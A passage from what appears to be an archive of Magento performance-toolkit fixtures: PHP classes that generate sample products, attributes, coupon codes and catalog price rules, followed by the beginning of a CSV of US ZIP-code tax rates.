1; $option <= $optionCount; $option++) { $options['order']['option_' . $option] = $option; $options['value']['option_' . $option] = array_fill_keys($storeIds, 'option ' . $option); $options['delete']['option_' . $option] = ''; } $data = [ 'frontend_label' => array_fill_keys($storeIds, 'configurable variations'), 'frontend_input' => 'select', 'is_required' => '0', 'option' => $options, 'default' => ['option_0'], 'attribute_code' => $this->getAttributeCode(), 'is_global' => '1', 'default_value_text' => '', 'default_value_yesno' => '0', 'default_value_date' => '', 'default_value_textarea' => '', 'is_unique' => '0', 'is_searchable' => '1', 'is_visible_in_advanced_search' => '0', 'is_comparable' => '0', 'is_filterable' => '1', 'is_filterable_in_search' => '0', 'is_used_for_promo_rules' => '0', 'is_html_allowed_on_front' => '1', 'is_visible_on_front' => '0', 'used_in_product_listing' => '0', 'used_for_sort_by' => '0', 'source_model' => null, 'backend_model' => null, 'apply_to' => [], 'backend_type' => 'int', 'entity_type_id' => 4, 'is_user_defined' => 1, ]; $data['swatch_input_type'] = Swatch::SWATCH_INPUT_TYPE_VISUAL; $data['swatchvisual']['value'] = array_reduce( range(1, $optionCount), function ($values, $index) use ($optionCount) { $values['option_' . $index] = '#' . str_repeat( dechex(255 * $index / $optionCount), 3 ); return $values; }, [] ); $data['optionvisual']['value'] = array_reduce( range(1, $optionCount), function ($values, $index) { $values['option_' . $index] = ['option ' . $index]; return $values; }, [] ); /** * The logic is not obvious, but looking to the controller logic for configurable products this attribute * requires to be saved twice to become a child of Default attribute set and become available for creating * and|or importing configurable products. * See MAGETWO-16492 */ $model = $this->attributeFactory->create(['data' => $data]); $attributeSet = $this->attributeSet->load(self::ATTRIBUTE_SET_ID); $model->setAttributeSetId(self::ATTRIBUTE_SET_ID); $model->setAttributeGroupId($attributeSet->getDefaultGroupId(4)); $model->save(); $model->setAttributeSetId(self::ATTRIBUTE_SET_ID); $model->save(); } /** * Get attribute code * * @return string */ private function getAttributeCode() { return 'configurable_variation'; } } Magento/Setup/Fixtures/SimpleProductsFixture.php000077700000034475151323623130016127 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\Product; use Magento\Catalog\Model\Product\Attribute\Source\Status; use Magento\Catalog\Model\ProductFactory; use Magento\Eav\Model\Entity\Attribute; use Magento\Eav\Model\ResourceModel\Entity\Attribute\Collection; use Magento\Eav\Model\ResourceModel\Entity\Attribute\CollectionFactory; use Magento\Eav\Model\ResourceModel\Entity\Attribute\Set\Collection as AttributeSetCollection; use Magento\Eav\Model\ResourceModel\Entity\Attribute\Set\CollectionFactory as AttributeSetCollectionFactory; use Magento\Setup\Model\FixtureGenerator\ProductGenerator; use Magento\Setup\Model\SearchTermDescriptionGeneratorFactory; /** * Generate simple products based on profile configuration * Support the following format: * <simple_products>{products amount}</simple_products> * Products will be distributed per Default and pre-defined * attribute sets (@see setup/performance-toolkit/config/attributeSets.xml) * * If extra attribute set is specified in profile as: <product_attribute_sets>{sets amount}</product_attribute_sets> * then products also will be distributed per additional attribute sets * * Products will be uniformly distributed per categories and websites * If node "assign_entities_to_all_websites" from profile is set to "1" then products will be assigned to all websites * * @see setup/performance-toolkit/profiles/ce/small.xml * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class SimpleProductsFixture extends Fixture { /** * Simple product sku pattern */ const SKU_PATTERN = 'product_dynamic_%s'; /** * @var int */ protected $priority = 31; /** * @var array */ private $descriptionConfig; /** * @var array */ private $shortDescriptionConfig; /** * @var ProductFactory */ private $productFactory; /** * @var ProductGenerator */ private $productGenerator; /** * @var int */ private $defaultAttributeSetId; /** * @var Collection */ private $attributeCollectionFactory; /** * @var AttributeSetCollectionFactory */ private $attributeSetCollectionFactory; /** * @var SearchTermDescriptionGeneratorFactory */ private $descriptionGeneratorFactory; /** * @var ProductsAmountProvider */ private $productsAmountProvider; /** * @var WebsiteCategoryProvider */ private $websiteCategoryProvider; /** * @var PriceProvider */ private $priceProvider; /** * @var int[] */ private $additionalAttributeSetIds; /** * @param FixtureModel $fixtureModel * @param ProductFactory $productFactory * @param ProductGenerator $productGenerator * @param CollectionFactory $attributeCollectionFactory * @param AttributeSetCollectionFactory $attributeSetCollectionFactory * @param SearchTermDescriptionGeneratorFactory $descriptionGeneratorFactory * @param WebsiteCategoryProvider $websiteCategoryProvider * @param ProductsAmountProvider $productsAmountProvider * @param PriceProvider $priceProvider * @internal param FixtureConfig $fixtureConfig */ public function __construct( FixtureModel $fixtureModel, ProductFactory $productFactory, ProductGenerator $productGenerator, CollectionFactory $attributeCollectionFactory, AttributeSetCollectionFactory $attributeSetCollectionFactory, SearchTermDescriptionGeneratorFactory $descriptionGeneratorFactory, WebsiteCategoryProvider $websiteCategoryProvider, ProductsAmountProvider $productsAmountProvider, PriceProvider $priceProvider ) { parent::__construct($fixtureModel); $this->productFactory = $productFactory; $this->productGenerator = $productGenerator; $this->attributeCollectionFactory = $attributeCollectionFactory; $this->attributeSetCollectionFactory = $attributeSetCollectionFactory; $this->descriptionGeneratorFactory = $descriptionGeneratorFactory; $this->productsAmountProvider = $productsAmountProvider; $this->websiteCategoryProvider = $websiteCategoryProvider; $this->priceProvider = $priceProvider; } /** * @inheritdoc */ public function getActionTitle() { return 'Generating simple products'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'simple_products' => 'Simple products' ]; } /** * @inheritdoc * * @SuppressWarnings(PHPMD) */ public function execute() { $simpleProductsCount = $this->productsAmountProvider->getAmount( $this->fixtureModel->getValue('simple_products', 0), $this->getSkuPattern() ); if (!$simpleProductsCount) { return; } $defaultAttributeSets = $this->getDefaultAttributeSets(); $searchTermsConfig = $this->getSearchTerms(); /** @var \Magento\Setup\Model\SearchTermDescriptionGenerator $descriptionGenerator */ $descriptionGenerator = $this->descriptionGeneratorFactory->create( $this->getDescriptionConfig(), $searchTermsConfig, $simpleProductsCount, 'Full simple product Description %s' ); /** @var \Magento\Setup\Model\SearchTermDescriptionGenerator $shortDescriptionGenerator */ $shortDescriptionGenerator = $this->descriptionGeneratorFactory->create( $this->getShortDescriptionConfig(), $searchTermsConfig, $simpleProductsCount, 'Short simple product Description %s' ); $additionalAttributeSetIds = $this->getAdditionalAttributeSetIds(); $attributeSet = function ($index) use ($defaultAttributeSets, $additionalAttributeSetIds) { // phpcs:ignore mt_srand($index); $attributeSetCount = count(array_keys($defaultAttributeSets)); if ($attributeSetCount > (($index - 1) % (int)$this->fixtureModel->getValue('categories', 30))) { // phpcs:ignore Magento2.Security.InsecureFunction return array_keys($defaultAttributeSets)[mt_rand(0, count(array_keys($defaultAttributeSets)) - 1)]; } else { $customSetsAmount = count($additionalAttributeSetIds); return $customSetsAmount ? $additionalAttributeSetIds[$index % $customSetsAmount] : $this->getDefaultAttributeSetId(); } }; $additionalAttributeValues = $this->getAdditionalAttributeValues(); $additionalAttributes = function ( $attributeSetId, $index ) use ( $defaultAttributeSets, $additionalAttributeValues ) { $attributeValues = []; // phpcs:ignore mt_srand($index); $attributeValuesByAttributeSet = $defaultAttributeSets[$attributeSetId] ?? $additionalAttributeValues[$attributeSetId]; if (!empty($attributeValuesByAttributeSet)) { foreach ($attributeValuesByAttributeSet as $attributeCode => $values) { // phpcs:ignore Magento2.Security.InsecureFunction $attributeValues[$attributeCode] = $values[mt_rand(0, count($values) - 1)]; } } return $attributeValues; }; $fixtureMap = [ 'name' => function ($productId) { return sprintf('Simple Product %s', $productId); }, 'sku' => function ($productId) { return sprintf($this->getSkuPattern(), $productId); }, 'price' => function ($index, $entityNumber) { return $this->priceProvider->getPrice($entityNumber); }, 'url_key' => function ($productId) { return sprintf('simple-product-%s', $productId); }, 'description' => function ($index) use ($descriptionGenerator) { return $descriptionGenerator->generate($index); }, 'short_description' => function ($index) use ($shortDescriptionGenerator) { return $shortDescriptionGenerator->generate($index); }, 'website_ids' => function ($index, $entityNumber) { return $this->websiteCategoryProvider->getWebsiteIds($index); }, 'category_ids' => function ($index, $entityNumber) { return $this->websiteCategoryProvider->getCategoryId($index); }, 'attribute_set_id' => $attributeSet, 'additional_attributes' => $additionalAttributes, 'status' => function () { return Status::STATUS_ENABLED; } ]; $this->productGenerator->generate($simpleProductsCount, $fixtureMap); } /** * Get simple product sku pattern * * @return string */ private function getSkuPattern() { return self::SKU_PATTERN; } /** * Get default attribute set id * * @return int */ private function getDefaultAttributeSetId() { if (null === $this->defaultAttributeSetId) { $this->defaultAttributeSetId = (int)$this->productFactory->create()->getDefaultAttributeSetId(); } return $this->defaultAttributeSetId; } /** * Get default attribute sets with attributes. * * @return array * @see config/attributeSets.xml */ private function getDefaultAttributeSets() { $attributeSets = $this->fixtureModel->getValue('attribute_sets', null); $attributes = []; if ($attributeSets !== null && array_key_exists('attribute_set', $attributeSets)) { foreach ($attributeSets['attribute_set'] as $attributeSet) { $attributesData = array_key_exists(0, $attributeSet['attributes']['attribute']) ? $attributeSet['attributes']['attribute'] : [$attributeSet['attributes']['attribute']]; $attributeCollection = $this->attributeCollectionFactory->create(); $attributeCollection->setAttributeSetFilterBySetName($attributeSet['name'], Product::ENTITY); $attributeCollection->addFieldToFilter( 'attribute_code', array_column($attributesData, 'attribute_code') ); $attributes = $this->processAttributeValues($attributeCollection, $attributes); } } $attributes[$this->getDefaultAttributeSetId()] = []; return $attributes; } /** * Get search terms config which used for product description generation * * @return array */ private function getSearchTerms() { $searchTerms = $this->fixtureModel->getValue('search_terms', []); if (!empty($searchTerms)) { $searchTerms = array_key_exists(0, $searchTerms['search_term']) ? $searchTerms['search_term'] : [$searchTerms['search_term']]; } return $searchTerms; } /** * Get description config * * @return array */ private function getDescriptionConfig() { if (null === $this->descriptionConfig) { $this->descriptionConfig = $this->readDescriptionConfig('description'); } return $this->descriptionConfig; } /** * Get short description config * * @return array */ private function getShortDescriptionConfig() { if (null === $this->shortDescriptionConfig) { $this->shortDescriptionConfig = $this->readDescriptionConfig('short-description'); } return $this->shortDescriptionConfig; } /** * Get description config from fixture * * @param string $configSrc * @return array */ private function readDescriptionConfig($configSrc) { $configData = $this->fixtureModel->getValue($configSrc, []); if (isset($configData['mixin']['tags'])) { $configData['mixin']['tags'] = explode('|', $configData['mixin']['tags']); } return $configData; } /** * Get additional attribute set ids. * * @return int[] */ private function getAdditionalAttributeSetIds() { if (null === $this->additionalAttributeSetIds) { /** @var AttributeSetCollection $sets */ $sets = $this->attributeSetCollectionFactory->create(); $sets->addFieldToFilter( 'attribute_set_name', ['like' => AttributeSetsFixture::PRODUCT_SET_NAME . '%'] ); $this->additionalAttributeSetIds = $sets->getAllIds(); } return $this->additionalAttributeSetIds; } /** * Get values of additional attributes. * * @return array */ private function getAdditionalAttributeValues(): array { $attributeCollection = $this->attributeCollectionFactory->create(); $attributeCollection->setAttributeSetsFilter($this->getAdditionalAttributeSetIds()) ->addFieldToFilter('attribute_code', ['like' => 'attribute_set%']); $attributeCollection->getSelect()->columns(['entity_attribute.attribute_set_id']); return $this->processAttributeValues($attributeCollection); } /** * Maps attribute values by attribute set and attribute code. * * @param Collection $attributeCollection * @param array $attributes * @return array */ private function processAttributeValues( Collection $attributeCollection, array $attributes = [] ): array { /** @var Attribute $attribute */ foreach ($attributeCollection as $attribute) { $values = []; $options = $attribute->getOptions() ?? []; $attributeSetId = $attribute->getAttributeSetId() ?? $this->getDefaultAttributeSetId(); foreach ($options as $option) { if ($option->getValue()) { $values[] = $option->getValue(); } } $attributes[$attributeSetId][$attribute->getAttributeCode()] = $values; } return $attributes; } } Magento/Setup/Fixtures/CouponCodesFixture.php000077700000010476151323623130015366 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Fixture for generating coupon codes * * Support the following format: * <!-- Number of coupon codes --> * <coupon_codes>{int}</coupon_codes> * * @see setup/performance-toolkit/profiles/ce/small.xml */ class CouponCodesFixture extends Fixture { /** * @var int */ protected $priority = 129; /** * @var int */ protected $couponCodesCount = 0; /** * @var \Magento\SalesRule\Model\RuleFactory */ private $ruleFactory; /** * @var \Magento\SalesRule\Model\CouponFactory */ private $couponCodeFactory; /** * Constructor * * @param FixtureModel $fixtureModel * @param \Magento\SalesRule\Model\RuleFactory|null $ruleFactory * @param \Magento\SalesRule\Model\CouponFactory|null $couponCodeFactory */ public function __construct( FixtureModel $fixtureModel, \Magento\SalesRule\Model\RuleFactory $ruleFactory = null, \Magento\SalesRule\Model\CouponFactory $couponCodeFactory = null ) { parent::__construct($fixtureModel); $this->ruleFactory = $ruleFactory ?: $this->fixtureModel->getObjectManager() ->get(\Magento\SalesRule\Model\RuleFactory::class); $this->couponCodeFactory = $couponCodeFactory ?: $this->fixtureModel->getObjectManager() ->get(\Magento\SalesRule\Model\CouponFactory::class); } /** * @inheritdoc * * @SuppressWarnings(PHPMD) */ public function execute() { $this->fixtureModel->resetObjectManager(); $this->couponCodesCount = $this->fixtureModel->getValue('coupon_codes', 0); if (!$this->couponCodesCount) { return; } /** @var \Magento\Store\Model\StoreManager $storeManager */ $storeManager = $this->fixtureModel->getObjectManager()->create(\Magento\Store\Model\StoreManager::class); //Get all websites $websitesArray = []; $websites = $storeManager->getWebsites(); foreach ($websites as $website) { $websitesArray[] = $website->getId(); } $this->generateCouponCodes($this->ruleFactory, $this->couponCodeFactory, $websitesArray); } /** * Generate Coupon Codes * * @param \Magento\SalesRule\Model\RuleFactory $ruleFactory * @param \Magento\SalesRule\Model\CouponFactory $couponCodeFactory * @param array $websitesArray * * @return void */ public function generateCouponCodes($ruleFactory, $couponCodeFactory, $websitesArray) { for ($i = 0; $i < $this->couponCodesCount; $i++) { $ruleName = sprintf('Coupon Code %1$d', $i); $data = [ 'rule_id' => null, 'name' => $ruleName, 'is_active' => '1', 'website_ids' => $websitesArray, 'customer_group_ids' => [ 0 => '0', 1 => '1', 2 => '2', 3 => '3', ], 'coupon_type' => \Magento\SalesRule\Model\Rule::COUPON_TYPE_SPECIFIC, 'conditions' => [], 'simple_action' => \Magento\SalesRule\Model\Rule::BY_PERCENT_ACTION, 'discount_amount' => 5, 'discount_step' => 0, 'stop_rules_processing' => 1, ]; $model = $ruleFactory->create(); $model->loadPost($data); $useAutoGeneration = (int)!empty($data['use_auto_generation']); $model->setUseAutoGeneration($useAutoGeneration); $model->save(); $coupon = $couponCodeFactory->create(); $coupon->setRuleId($model->getId()) ->setCode('CouponCode' . $i) ->setIsPrimary(true) ->setType(0); $coupon->save(); } } /** * @inheritdoc */ public function getActionTitle() { return 'Generating coupon codes'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'coupon_codes' => 'Coupon Codes' ]; } } Magento/Setup/Fixtures/CatalogPriceRulesFixture.php000077700000014053151323623130016510 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Fixture for generating catalog price rules * * Support the following format: * <!-- Number of catalog price rules --> * <catalog_price_rules>{int}</catalog_price_rules> * * @see setup/performance-toolkit/profiles/ce/small.xml */ class CatalogPriceRulesFixture extends Fixture { /** * @var int */ protected $priority = 90; /** * {@inheritdoc} * @SuppressWarnings(PHPMD) */ public function execute() { $catalogPriceRulesCount = $this->fixtureModel->getValue('catalog_price_rules', 0); if (!$catalogPriceRulesCount) { return; } $this->fixtureModel->resetObjectManager(); /** @var \Magento\Store\Model\StoreManager $storeManager */ $storeManager = $this->fixtureModel->getObjectManager()->create(\Magento\Store\Model\StoreManager::class); /** @var $category \Magento\Catalog\Model\Category */ $category = $this->fixtureModel->getObjectManager()->get(\Magento\Catalog\Model\Category::class); /** @var $model \Magento\CatalogRule\Model\Rule*/ $model = $this->fixtureModel->getObjectManager()->get(\Magento\CatalogRule\Model\Rule::class); /** @var \Magento\Framework\EntityManager\MetadataPool $metadataPool */ $metadataPool = $this->fixtureModel->getObjectManager() ->get(\Magento\Framework\EntityManager\MetadataPool::class); $metadata = $metadataPool->getMetadata(\Magento\CatalogRule\Api\Data\RuleInterface::class); //Get all websites $categoriesArray = []; $websites = $storeManager->getWebsites(); foreach ($websites as $website) { //Get all groups $websiteGroups = $website->getGroups(); foreach ($websiteGroups as $websiteGroup) { $websiteGroupRootCategory = $websiteGroup->getRootCategoryId(); $category->load($websiteGroupRootCategory); $categoryResource = $category->getResource(); //Get all categories $resultsCategories = $categoryResource->getAllChildren($category); foreach ($resultsCategories as $resultsCategory) { $category->load($resultsCategory); $structure = explode('/', $category->getPath()); if (count($structure) > 2) { $categoriesArray[] = [$category->getId(), $website->getId()]; } } } } asort($categoriesArray); $categoriesArray = array_values($categoriesArray); $linkField = $metadata->getLinkField(); $idField = $metadata->getIdentifierField(); for ($i = 0; $i < $catalogPriceRulesCount; $i++) { $ruleName = sprintf('Catalog Price Rule %1$d', $i); $data = [ $idField => null, $linkField => null, 'name' => $ruleName, 'description' => '', 'is_active' => '1', 'website_ids' => $categoriesArray[$i % count($categoriesArray)][1], 'customer_group_ids' => [ 0 => '0', 1 => '1', 2 => '2', 3 => '3', ], 'from_date' => '', 'to_date' => '', 'sort_order' => '', 'rule' => [ 'conditions' => [ 1 => [ 'type' => \Magento\CatalogRule\Model\Rule\Condition\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1' => [ 'type' => \Magento\CatalogRule\Model\Rule\Condition\Product::class, 'attribute' => 'category_ids', 'operator' => '==', 'value' => $categoriesArray[$i % count($categoriesArray)][0], ], ], ], 'simple_action' => 'by_percent', 'discount_amount' => '15', 'stop_rules_processing' => '0', 'page' => '1', 'limit' => '20', 'in_banners' => '1', 'banner_id' => [ 'from' => '', 'to' => '', ], 'banner_name' => '', 'visible_in' => '', 'banner_is_enabled' => '', 'related_banners' => [], ]; if (isset($data['simple_action']) && $data['simple_action'] == 'by_percent' && isset($data['discount_amount']) ) { $data['discount_amount'] = min(100, $data['discount_amount']); } if (isset($data['rule']['conditions'])) { $data['conditions'] = $data['rule']['conditions']; } if (isset($data['rule']['actions'])) { $data['actions'] = $data['rule']['actions']; } unset($data['rule']); $model->loadPost($data); $useAutoGeneration = (int)!empty($data['use_auto_generation']); $model->setUseAutoGeneration($useAutoGeneration); $model->save(); } } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating catalog price rules'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'catalog_price_rules' => 'Catalog Price Rules' ]; } } Magento/Setup/Fixtures/_files/tax_rates.csv000077700004611622151323623130015041 0ustar00Code,Country,State,"Zip/Post Code",Rate,"Zip/Post is Range","Range From","Range To",default US-AK-99547,US,AK,99547,3,,,, US-AK-99554,US,AK,99554,4,,,, US-AK-99555,US,AK,99555,5,,,, US-AK-99556,US,AK,99556,3,,,, US-AK-99557,US,AK,99557,2,,,, US-AK-99559,US,AK,99559,6,,,, US-AK-99561,US,AK,99561,2,,,, US-AK-99563,US,AK,99563,3,,,, US-AK-99568,US,AK,99568,3,,,, US-AK-99569,US,AK,99569,5,,,, US-AK-99572,US,AK,99572,3,,,, US-AK-99574,US,AK,99574,6,,,, US-AK-99576,US,AK,99576,6,,,, US-AK-99578,US,AK,99578,2,,,, US-AK-99581,US,AK,99581,3,,,, US-AK-99583,US,AK,99583,3,,,, US-AK-99585,US,AK,99585,4,,,, US-AK-99591,US,AK,99591,3,,,, US-AK-99603,US,AK,99603,7.5,,,, US-AK-99604,US,AK,99604,4,,,, US-AK-99605,US,AK,99605,3,,,, US-AK-99609,US,AK,99609,3,,,, US-AK-99610,US,AK,99610,3,,,, US-AK-99611,US,AK,99611,6,,,, US-AK-99612,US,AK,99612,4,,,, US-AK-99615,US,AK,99615,7,,,, US-AK-99619,US,AK,99619,7,,,, US-AK-99620,US,AK,99620,3,,,, US-AK-99621,US,AK,99621,5,,,, US-AK-99624,US,AK,99624,3,,,, US-AK-99628,US,AK,99628,2,,,, US-AK-99629,US,AK,99629,2,,,, US-AK-99630,US,AK,99630,4,,,, US-AK-99631,US,AK,99631,3,,,, US-AK-99632,US,AK,99632,3,,,, US-AK-99634,US,AK,99634,4,,,, US-AK-99635,US,AK,99635,6,,,, US-AK-99637,US,AK,99637,6,,,, US-AK-99639,US,AK,99639,3,,,, US-AK-99640,US,AK,99640,3,,,, US-AK-99641,US,AK,99641,4,,,, US-AK-99643,US,AK,99643,3,,,, US-AK-99644,US,AK,99644,3,,,, US-AK-99650,US,AK,99650,4,,,, US-AK-99652,US,AK,99652,3,,,, US-AK-99655,US,AK,99655,3,,,, US-AK-99658,US,AK,99658,3,,,, US-AK-99659,US,AK,99659,4,,,, US-AK-99660,US,AK,99660,3,,,, US-AK-99661,US,AK,99661,3,,,, US-AK-99662,US,AK,99662,4,,,, US-AK-99663,US,AK,99663,5,,,, US-AK-99664,US,AK,99664,3,,,, US-AK-99666,US,AK,99666,3,,,, US-AK-99669,US,AK,99669,3,,,, US-AK-99671,US,AK,99671,3,,,, US-AK-99672,US,AK,99672,3,,,, US-AK-99677,US,AK,99677,6,,,, US-AK-99678,US,AK,99678,2,,,, US-AK-99679,US,AK,99679,6,,,, US-AK-99680,US,AK,99680,6,,,, US-AK-99682,US,AK,99682,3,,,, US-AK-99684,US,AK,99684,5,,,, US-AK-99685,US,AK,99685,3,,,, US-AK-99687,US,AK,99687,2,,,, US-AK-99689,US,AK,99689,5,,,, US-AK-99690,US,AK,99690,6,,,, US-AK-99692,US,AK,99692,3,,,, US-AK-99694,US,AK,99694,3,,,, US-AK-99697,US,AK,99697,7,,,, US-AK-99704,US,AK,99704,6,,,, US-AK-99711,US,AK,99711,4,,,, US-AK-99727,US,AK,99727,6,,,, US-AK-99736,US,AK,99736,3,,,, US-AK-99739,US,AK,99739,3,,,, US-AK-99740,US,AK,99740,3,,,, US-AK-99741,US,AK,99741,3,,,, US-AK-99742,US,AK,99742,3,,,, US-AK-99744,US,AK,99744,4,,,, US-AK-99749,US,AK,99749,3,,,, US-AK-99750,US,AK,99750,2,,,, US-AK-99752,US,AK,99752,6,,,, US-AK-99753,US,AK,99753,2,,,, US-AK-99760,US,AK,99760,4,,,, US-AK-99761,US,AK,99761,3,,,, US-AK-99762,US,AK,99762,5,,,, US-AK-99763,US,AK,99763,4,,,, US-AK-99766,US,AK,99766,3,,,, US-AK-99770,US,AK,99770,5,,,, US-AK-99772,US,AK,99772,2,,,, US-AK-99773,US,AK,99773,2,,,, US-AK-99777,US,AK,99777,2,,,, US-AK-99778,US,AK,99778,3,,,, US-AK-99783,US,AK,99783,3,,,, US-AK-99784,US,AK,99784,1,,,, US-AK-99785,US,AK,99785,3,,,, US-AK-99786,US,AK,99786,3,,,, US-AK-99788,US,AK,99788,3,,,, US-AK-99801,US,AK,99801,5,,,, US-AK-99802,US,AK,99802,5,,,, US-AK-99803,US,AK,99803,5,,,, US-AK-99811,US,AK,99811,5,,,, US-AK-99812,US,AK,99812,5,,,, US-AK-99820,US,AK,99820,3,,,, US-AK-99821,US,AK,99821,5,,,, US-AK-99824,US,AK,99824,5,,,, US-AK-99826,US,AK,99826,3,,,, US-AK-99827,US,AK,99827,4,,,, US-AK-99829,US,AK,99829,6.5,,,, US-AK-99830,US,AK,99830,5,,,, US-AK-99832,US,AK,99832,4,,,, US-AK-99833,US,AK,99833,6,,,, US-AK-99835,US,AK,99835,5,,,, US-AK-99836,US,AK,99836,5,,,, US-AK-99840,US,AK,99840,3,,,, US-AK-99841,US,AK,99841,2,,,, US-AK-99850,US,AK,99850,5,,,, US-AK-99901,US,AK,99901,6,,,, US-AK-99903,US,AK,99903,6,,,, US-AK-99918,US,AK,99918,6,,,, US-AK-99919,US,AK,99919,6,,,, US-AK-99921,US,AK,99921,5,,,, US-AK-99922,US,AK,99922,4,,,, US-AK-99925,US,AK,99925,5.5,,,, US-AK-99928,US,AK,99928,2.5,,,, US-AK-99929,US,AK,99929,7,,,, US-AK-99950,US,AK,99950,6,,,, US-AL-35004,US,AL,35004,9,,,, US-AL-35005,US,AL,35005,9.5,,,, US-AL-35006,US,AL,35006,6,,,, US-AL-35007,US,AL,35007,9,,,, US-AL-35010,US,AL,35010,8.5,,,, US-AL-35011,US,AL,35011,8.5,,,, US-AL-35013,US,AL,35013,7,,,, US-AL-35014,US,AL,35014,7,,,, US-AL-35015,US,AL,35015,10,,,, US-AL-35016,US,AL,35016,9,,,, US-AL-35019,US,AL,35019,8.5,,,, US-AL-35020,US,AL,35020,10,,,, US-AL-35021,US,AL,35021,10,,,, US-AL-35022,US,AL,35022,10,,,, US-AL-35023,US,AL,35023,10,,,, US-AL-35031,US,AL,35031,6,,,, US-AL-35032,US,AL,35032,7.5,,,, US-AL-35033,US,AL,35033,8.5,,,, US-AL-35034,US,AL,35034,8,,,, US-AL-35035,US,AL,35035,8,,,, US-AL-35036,US,AL,35036,10,,,, US-AL-35038,US,AL,35038,8,,,, US-AL-35040,US,AL,35040,9,,,, US-AL-35042,US,AL,35042,9,,,, US-AL-35043,US,AL,35043,9,,,, US-AL-35044,US,AL,35044,8,,,, US-AL-35045,US,AL,35045,8,,,, US-AL-35046,US,AL,35046,5,,,, US-AL-35048,US,AL,35048,10,,,, US-AL-35049,US,AL,35049,8,,,, US-AL-35051,US,AL,35051,5,,,, US-AL-35052,US,AL,35052,9,,,, US-AL-35053,US,AL,35053,8.5,,,, US-AL-35054,US,AL,35054,6,,,, US-AL-35055,US,AL,35055,9,,,, US-AL-35056,US,AL,35056,9,,,, US-AL-35057,US,AL,35057,8.5,,,, US-AL-35058,US,AL,35058,8.5,,,, US-AL-35060,US,AL,35060,7.75,,,, US-AL-35061,US,AL,35061,10,,,, US-AL-35062,US,AL,35062,8,,,, US-AL-35063,US,AL,35063,6,,,, US-AL-35064,US,AL,35064,10,,,, US-AL-35068,US,AL,35068,10,,,, US-AL-35070,US,AL,35070,8.5,,,, US-AL-35071,US,AL,35071,10,,,, US-AL-35072,US,AL,35072,6,,,, US-AL-35073,US,AL,35073,9,,,, US-AL-35074,US,AL,35074,9,,,, US-AL-35077,US,AL,35077,8.5,,,, US-AL-35078,US,AL,35078,9,,,, US-AL-35079,US,AL,35079,6,,,, US-AL-35080,US,AL,35080,9,,,, US-AL-35082,US,AL,35082,6,,,, US-AL-35083,US,AL,35083,8.5,,,, US-AL-35085,US,AL,35085,5,,,, US-AL-35087,US,AL,35087,8.5,,,, US-AL-35089,US,AL,35089,6,,,, US-AL-35091,US,AL,35091,10,,,, US-AL-35094,US,AL,35094,10,,,, US-AL-35096,US,AL,35096,10,,,, US-AL-35097,US,AL,35097,8,,,, US-AL-35098,US,AL,35098,8.5,,,, US-AL-35111,US,AL,35111,6,,,, US-AL-35112,US,AL,35112,10,,,, US-AL-35114,US,AL,35114,9,,,, US-AL-35115,US,AL,35115,9,,,, US-AL-35116,US,AL,35116,10,,,, US-AL-35117,US,AL,35117,6,,,, US-AL-35118,US,AL,35118,9,,,, US-AL-35119,US,AL,35119,8,,,, US-AL-35120,US,AL,35120,9,,,, US-AL-35121,US,AL,35121,9,,,, US-AL-35123,US,AL,35123,8,,,, US-AL-35124,US,AL,35124,9,,,, US-AL-35125,US,AL,35125,6,,,, US-AL-35126,US,AL,35126,6,,,, US-AL-35127,US,AL,35127,9,,,, US-AL-35128,US,AL,35128,10,,,, US-AL-35130,US,AL,35130,6,,,, US-AL-35131,US,AL,35131,10,,,, US-AL-35133,US,AL,35133,6,,,, US-AL-35135,US,AL,35135,10,,,, US-AL-35136,US,AL,35136,8,,,, US-AL-35137,US,AL,35137,7,,,, US-AL-35139,US,AL,35139,9,,,, US-AL-35142,US,AL,35142,9,,,, US-AL-35143,US,AL,35143,5,,,, US-AL-35144,US,AL,35144,9,,,, US-AL-35146,US,AL,35146,6,,,, US-AL-35147,US,AL,35147,5,,,, US-AL-35148,US,AL,35148,9.5,,,, US-AL-35149,US,AL,35149,7,,,, US-AL-35150,US,AL,35150,8,,,, US-AL-35151,US,AL,35151,7,,,, US-AL-35160,US,AL,35160,10,,,, US-AL-35161,US,AL,35161,10,,,, US-AL-35171,US,AL,35171,8,,,, US-AL-35172,US,AL,35172,6,,,, US-AL-35173,US,AL,35173,10,,,, US-AL-35175,US,AL,35175,5,,,, US-AL-35176,US,AL,35176,5,,,, US-AL-35178,US,AL,35178,9,,,, US-AL-35179,US,AL,35179,8.5,,,, US-AL-35180,US,AL,35180,6,,,, US-AL-35181,US,AL,35181,8,,,, US-AL-35182,US,AL,35182,6,,,, US-AL-35183,US,AL,35183,6,,,, US-AL-35184,US,AL,35184,8,,,, US-AL-35185,US,AL,35185,7,,,, US-AL-35186,US,AL,35186,8,,,, US-AL-35187,US,AL,35187,6.5,,,, US-AL-35188,US,AL,35188,10,,,, US-AL-35201,US,AL,35201,10,,,, US-AL-35202,US,AL,35202,10,,,, US-AL-35203,US,AL,35203,10,,,, US-AL-35204,US,AL,35204,10,,,, US-AL-35205,US,AL,35205,10,,,, US-AL-35206,US,AL,35206,10,,,, US-AL-35207,US,AL,35207,10,,,, US-AL-35208,US,AL,35208,10,,,, US-AL-35209,US,AL,35209,9,,,, US-AL-35210,US,AL,35210,10,,,, US-AL-35211,US,AL,35211,10,,,, US-AL-35212,US,AL,35212,10,,,, US-AL-35213,US,AL,35213,9,,,, US-AL-35214,US,AL,35214,6,,,, US-AL-35215,US,AL,35215,8,,,, US-AL-35216,US,AL,35216,9,,,, US-AL-35217,US,AL,35217,10,,,, US-AL-35218,US,AL,35218,10,,,, US-AL-35219,US,AL,35219,9,,,, US-AL-35220,US,AL,35220,8,,,, US-AL-35221,US,AL,35221,10,,,, US-AL-35222,US,AL,35222,10,,,, US-AL-35223,US,AL,35223,9,,,, US-AL-35224,US,AL,35224,10,,,, US-AL-35226,US,AL,35226,9,,,, US-AL-35228,US,AL,35228,10,,,, 